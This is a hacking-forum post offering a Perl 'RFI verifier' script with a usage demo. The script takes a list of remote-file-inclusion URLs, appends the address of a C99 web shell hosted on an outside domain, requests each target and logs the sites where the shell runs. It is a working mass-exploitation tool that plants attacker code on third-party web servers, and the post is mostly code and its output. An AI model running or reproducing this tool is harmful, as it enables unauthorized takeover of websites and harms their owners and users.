Jump to content
Gonzalez

[Perl] RFI Verifier

Recommended Posts

Posted

This tool was designed to better learn perl and test a very large RFI list

Usage:



perl perl_verf.pl
[!] RFI File: rfi.txt
[!] Shell Path: http://www.root-the.net/shell.txt??
[!] Shell String: C99Shell
[!] Output File: good_rfis.txt
[~] Verifying...
[+] www.site.com/rfi.php=http://www.root-the.net/shell.txt??



#!/usr/bin/perl

use LWP::UserAgent;
use HTTP::Request;

print q(
+++++++++++++++++++++
+ PERL RFI VERIFIER +
+ BY R3V3RS3 +
+++++++++++++++++++++
);

$good = 0;
$total = 0;

print "[!] RFI File: ";
chop ($rfi = <STDIN>);
print "[!] Shell Path: ";
chop ($shell = <STDIN>);
print "[!] Shell String: ";
chop ($shellstring = <STDIN>);
print "[!] Output File: ";
chop ($outfile = <STDIN>);

print "[~] Verifying...\n\n";

open("rfi") or die("Could not open log file.");
foreach $line (<rfi>) {
chomp($line);
my $site = $line.$shell;
my $w = HTTP::Request->new(GET=>$site);
my $ua = LWP::UserAgent->new();
my $an = $ua->request($w);
$total += 1;

if($an->content =~ $shellstring) {

open(DAT,">>$outfile") || die("Cannot Open File");
print DAT "$site\n";
close(DAT);

print "[+] $site\n";
$good += 1;
}else{}
}

open(DAT,">>$outfile") || die("Cannot Open File");
print DAT ">> DONE SCANNING <<";
close(DAT);

print "\n[~] Verifying Complete.\n";
print "[~] Stats: $good / $total\n";

Join the conversation

You can post now and register later. If you have an account, sign in now to post with your account.

Guest
Reply to this topic...

×   Pasted as rich text.   Paste as plain text instead

  Only 75 emoji are allowed.

×   Your link has been automatically embedded.   Display as a link instead

×   Your previous content has been restored.   Clear editor

×   You cannot paste images directly. Upload or insert images from URL.



×
×
  • Create New...